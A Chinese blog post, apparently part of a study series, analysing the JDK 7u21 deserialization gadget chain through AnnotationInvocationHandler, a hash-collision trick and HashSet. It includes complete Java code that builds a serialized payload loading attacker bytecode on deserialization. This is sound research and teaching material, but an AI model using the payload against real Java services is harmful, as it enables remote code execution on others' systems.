Java反序列化漏洞学习(二) Jdk7u21利用链分析

一颗小胡椒2021-12-21 20:42:16

JDK7u21的核心点是我们在cc1中也出现过的AnnotationInvocationHandler,在cc1中我们用到了他会触发this.memberValues.get(var4);这个点,而在JDK7u21中利用到了他里面的equalsImpl。先来看一下equalsImpl。

private Boolean equalsImpl(Object var1) {    if (var1 == this) {        return true;    } else if (!this.type.isInstance(var1)) {        return false;    } else {        //获取一个Method列表        Method[] var2 = this.getMemberMethods();        int var3 = var2.length;        //遍历列表        for(int var4 = 0; var4 < var3; ++var4) {            Method var5 = var2[var4];            String var6 = var5.getName();            Object var7 = this.memberValues.get(var6);            Object var8 = null;            //判断var1是否为AnnotationInvocationHandler对象,如果是的化返回对象            //不是的话返回null            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);            if (var9 != null) {                var8 = var9.memberValues.get(var6);            } else {                try {                    //调用Method方法                    var8 = var5.invoke(var1);                } catch (InvocationTargetException var11) {                    return false;                } catch (IllegalAccessException var12) {                    throw new AssertionError(var12);                }            }
            if (!memberValueEquals(var7, var8)) {                return false;            }        }
        return true;    }}
private Method[] getMemberMethods() {    if (this.memberMethods == null) {        this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction() {            public Method[] run() {                 //获取this.type类的所有方法                Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();                AccessibleObject.setAccessible(var1, true);                return var1;}}      );}    return this.memberMethods;}

遍历执行了this.type指向的类的所有方法,如果我们将this.type赋值为Templates.class,equalsImpl中传入TemplatesImpl就会执行他的getOutputProperties方法,而我们在前面也讲过getOutputProperties会触发类加载最后会执行我们的恶意类。

public Object invoke(Object var1, Method var2, Object[] var3) {    String var4 = var2.getName();    Class[] var5 = var2.getParameterTypes();    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {        return this.equalsImpl(var3[0]);    } else {        assert var5.length == 0;        if (var4.equals("toString")) {            return this.toStringImpl();        } else if (var4.equals("hashCode")) {            return this.hashCodeImpl();        } else if (var4.equals("annotationType")) {            return this.type;        } else {            Object var6 = this.memberValues.get(var4);            if (var6 == null) {                throw new IncompleteAnnotationException(this.type, var4);            } else if (var6 instanceof ExceptionProxy) {                throw ((ExceptionProxy)var6).generateException();            } else {                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {                    var6 = this.cloneArray(var6);                }                return var6;            }        }    }}

在AnnotationInvocationHandler的invoke中调用了equalsImpl。如果代理的对象执行了equals方法就会进入equalsImpl,传入proxy对象的第一个参数进入equalsImpl。一个简单的demo演示一下如何利用equalsImpl。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;
import javax.xml.transform.Templates;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;
public class JDK7u21 {    public static void main(String[] args) throws Exception {        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", new byte[][]{            ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()        });        setFieldValue(templates, "_name", "HelloTemplatesImpl");        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);        handlerConstructor.setAccessible(true);        //this.type传入Templates.class        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, new HashMap());        //生成代理对象        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);        //手动触发proxy的equals方法,参数传入我们的恶意TemplatesImpl        proxy.equals(templates);    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

之后就是找哪里的反序列化会调用到我们的equals方法。看到HashMap的put方法

public V put(K key, V value) {    if (key == null)        return putForNullKey(value);    //计算对象的hash    int hash = hash(key);    //计算放在table的索引    int i = indexFor(hash, table.length);    //如果索引位置已经有元素进去for循环    for (HashMap.Entry e = table[i]; e != null; e = e.next) {        Object k;        //如果两个对象的hash相同就判断两对象是否是同一个,如果不是就是调用equals比较        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {            V oldValue = e.value;            e.value = value;            e.recordAccess(this);            return oldValue;        }    }    modCount++;    addEntry(hash, key, value, i);    return null;}

我们只要第一次put恶意的TemplatesImpl对象,第二次put一个proxy对象就可以构造出,proxy.equals(TemplatesImpl)。但是还需要让两对象的hash相同。看看hash方法是怎么计算hash的。

final int hash(Object k) {    int h = 0;    if (useAltHashing) {        if (k instanceof String) {            return sun.misc.Hashing.stringHash32((String) k);        }        h = hashSeed;    }
    h ^= k.hashCode();    h ^= (h >>> 20) ^ (h >>> 12);    return h ^ (h >>> 7) ^ (h >>> 4);}

两对象的hash结果是否相等取决于他们的hashCode方法返回是否相等,TemplateImpl的hashCode() 是一个Native方法,每次运 行都会发生变化,所以要让两个对象的hash相等只能寄希望于proxy.hashcode。调用proxy.hashcode也会进入到AnnotationInvocationHandler的invoke方法接着进入到hashCodeImpl方法。

private int hashCodeImpl() {    int var1 = 0;
    Map.Entry var3;    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {        var3 = (Map.Entry)var2.next();    }
    return var1;}

也就是我们的结果是所有的(127 * key.hashCode())^value.hashCode()的和。

JDK7u21中使用了一个非常巧妙的方法:

•当memberValues中只有一个entry时结果可以简化成(127 * key.hashCode())^value.hashCode()

•当key,hashCode=0时结果可以简化成value.hashCode

•当value 就是TemplateImpl对象时,这两个哈希就变成完全相等

在HashSet的readObject中使用到了HashMap来去重

private void readObject(java.io.ObjectInputStream s)    throws java.io.IOException, ClassNotFoundException {    // Read in any hidden serialization magic    s.defaultReadObject();
    // Read in HashMap capacity and load factor and create backing HashMap    int capacity = s.readInt();    float loadFactor = s.readFloat();    map = (((HashSet)this) instanceof LinkedHashSet ?        new LinkedHashMap(capacity, loadFactor) :        new HashMap(capacity, loadFactor));
    // Read in size    int size = s.readInt();
    // Read in all elements in the proper order.    for (int i=0; i        E e = (E) s.readObject();        map.put(e, PRESENT);    }}

然后漏洞的流程就很明了了,我这里直接贴p神的payload

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.codec.binary.Base64;
import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.HashSet;import java.util.LinkedHashSet;import java.util.Map;
public class JDK7u21 {    public static void main(String[] args) throws Exception {        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", new byte[][]{                ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()        });        setFieldValue(templates, "_name", "HelloTemplatesImpl");        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        String zeroHashCodeStr = "f5a5a608";
        // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值        HashMap map = new HashMap();        map.put(zeroHashCodeStr, "foo");
        // 实例化AnnotationInvocationHandler类        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);        handlerConstructor.setAccessible(true);        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
        // 为tempHandler创造一层代理        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
        // 实例化HashSet,并将两个对象放进去        HashSet set = new LinkedHashSet();        set.add(templates);        set.add(proxy);
        // 将恶意templates设置到map中        map.put(zeroHashCodeStr, templates);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(set);        oos.close();
        System.out.println(barr);        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));        Object o = (Object)ois.readObject();    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

第一次map.put(zeroHashCodeStr, "foo");是为了set.add时候不触发利用链执行,而第二次 map.put(zeroHashCodeStr, templates);将真正的templates设置进去,这里因为他们的key都是相同的所以就是将旧的的value替换成templates。

序列化string
本作品采用《CC 协议》,转载必须注明作者和本文链接
Java安全中Groovy组件从反序列化到命令注入及绕过和在白盒中的排查方法
STATEMENT声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
序列化的核心思维旨在,将A变成B,最后再从B还原回A。 总之,在一些条件苛刻或者变化无常的环境与需求中,产生了这种灵活的可逆性的B的中间体。 理解不安全反序列化的最好方法是了解不同的编程语言如何实现序列化和反序列化。这里的序列化与反序列化指的是程序语言中自带的实施与实现。而非自创或者自定义的序列化与反序列化机制(比如:N进制形式hashmap树型等其他数据结构里的序列化中间体)。
目前的Log4j2检测都需要借助dnslog平台,是否存在不借助dnslog的检测方式呢
最近两个月我一直在做拒绝服务漏洞相关的时间,并收获了Spring和Weblogic的两个CVE但DoS漏洞终归是鸡肋洞,并没有太大的意义,比如之前有人说我只会水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd师傅聊天
最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。php反序列化简单理解首先我们需要理解什么是序列化,什么是反序列化?本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。
前置知识分析Transformer接口及其实现类。transform()传入对象,进行反射调用。构造调用链调用链构造原则:找调用关系要找不同名的方法,如果找到同名,再通过find usages得到的还是一样的结果。找到InvokerTransformer类中的transform(),右键,点 Find Usages,找函数调用关系,最好找不同名的方法,调用了transform()。因为transform()调用transform()不能换到别的方法里,没有意义。如果有一个类的readObject()调用了get(),那我们就可能找到了调用链。最终选择TransformedMap这个类,因为TransformedMap类中有好几处都调用了transform()。
初识Java反序列化
2022-06-10 08:49:49
研究某产品反序列化EXP时,搜集到的POC只有一段16进制字节序列难以利用,遂有下文对Java序列化和反序列化的学习。 大致内容如下: 序列化和反序列化示例 序列化数据组成解构 反序列化漏洞形成原理
浅谈Java反序列化漏洞
2022-05-17 17:48:01
Java序列化与反序列化Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。
正常来说一个合法的反序列化字符串,在二次序列化也即反序列化序列化之后所得到的结果是一致的。
一颗小胡椒
暂无描述